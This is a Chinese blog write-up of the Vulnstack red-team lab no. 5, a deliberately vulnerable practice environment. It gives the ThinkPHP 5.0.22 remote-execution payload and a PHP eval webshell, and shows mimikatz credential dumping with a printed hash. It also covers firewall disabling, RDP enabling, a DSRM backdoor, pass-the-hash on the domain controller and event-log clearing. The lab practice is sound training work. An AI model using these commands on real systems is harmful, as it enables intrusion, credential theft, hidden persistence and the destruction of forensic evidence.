红日ATT&CK红队实战(五)

项目拓扑

项目搭建


靶场下载:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

网卡设置:NAT模式 192.168.135.0/24 VMnet1仅主机模式 192.168.138.0/24

登陆 win7,sun\Administrator dc123.com,更改密码,开启phpstudy

登陆 windows 2008,sun\admin 2020.com,更改密码

外网打点


端口扫描

只有80和3306端口存在,先来看看80端口是什么情况。

访问80端口,发现是一个ThinkPHP的框架,但是具体版本不知道,尝试让网站报错从而获取版本号。

版本v5.0.22,这下好办了,直接漏洞库检索一波

thinkphp命令执行漏洞

https://www.exploit-db.com/exploits/46150

可以获取到数据库账号,但是获取不到密码,尝试暴力破解,提示无法连接到该服务器,应该是做限制了。

http://192.168.135.150/thinkphp_5.0.22/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

写入webshell

http://192.168.135.150/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[cmd]);?>" > shell.php

内网渗透


上线metasploit

菜刀连接,上传后门,运行获取session,一气呵成。

先来迁移一个SYSTEM权限的进程

mimikatz抓取到明文密码

sun\Administrator cd123.com

net start 发现防火墙是开启的,先把防火墙关闭。

netsh advfirewall set allprofiles state off  # 关闭防火墙
netsh advfirewall show allprofiles  # 查看防火墙状态

查看ip地址信息

外网网段:192.168.135.0/24
内网网段:192.168.138.0/24
域控IP:192.168.138.138

也可以使用如下模块获取域控IP

run post/windows/gather/enum_domain

添加路由

搭建隧道

显示如下信息,证明隧道是搭建成功的

proxychains4 nmap -Pn -sT -p 53,80,88,8080,135,139,445,3389 192.168.138.138

使用windows/smb/psexec模块横向失败。

使用wmiexec横向也失败了

后面搞明白了,这里其实是没有关闭域控防火墙的缘故,导致这里一直会报错。

建立ipc$连接

创建服务来关闭域控防火墙

sc \\192.168.138.138 create disablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.138.138 start disablefirewall

关闭域控的防火墙后,可以使用psexec模块来获取域控session,然后使用rdp模块开启3389端口;也可以使用我这里的办法,使用wmiexec来连接域控,使用注册表命令来开启3389端口。

开启远程桌面连接。

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

扫描端口,发现3389端口已经开启。

权限维持


创建DSRM后门

在域控制器上,DSRM账号的表现形式是本地的管理员 Administrator 用户,也就是说本地管理员 Administrator 用户等于DSRM账号。

DSRM后门适用于Windows Server 2008及以后版本的Windows服务器

首先,我们为 DSRM 账号设置新密码。在域控制器(Windows 2008)的cmd中进入ntdsutil,然后输入下面命令进行修改DSRM账户的密码:

ntdsutil    // 进入ntdsutil
set dsrm password    // 设置DSRM账户的密码
reset password on server null    // 在当前域控制器上恢复DSRM密码
<password>    // 输入新密码
<password>    // 重新输入新密码
q    //退出DSRM密码设置模式
q    // 退出ntdsutil

使用kiwi模块执行mimikatz命令来读取域控本地SAM文件中的本地管理员的NTLM Hash,确认域控制器上DSRM账户的密码是否修改成功

load kiwi
kiwi_cmd privilege::debug
kiwi_cmd token::elevate
kiwi_cmd lsadump::sam
User : Administrator
Hash NTLM: 42e2656ec24331269f82160ff5962387

使用如下命令将DSRM的登录方式设置为“2”,这样在任何情况下,都可以使用DSRM管理员账号登录域控制器:

New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -name "DsrmAdminLogonBehavior" -value 2 -propertyType DWORD

在域成员主机Windows7上通过mimikatz,使用域控制器的本地Administrator账号哈希传递攻击域控。

kiwi_cmd sekurlsa::pth /domain:DC /user:Administrator /ntlm:42e2656ec24331269f82160ff5962387

痕迹清理


run event_manager -i 查看事件日志
run event_manager -c 清除事件日志(包括六种日志类型)

posted @ 2023-06-03 17:59  Cx330Lm  阅读(45)  评论(0编辑  收藏  举报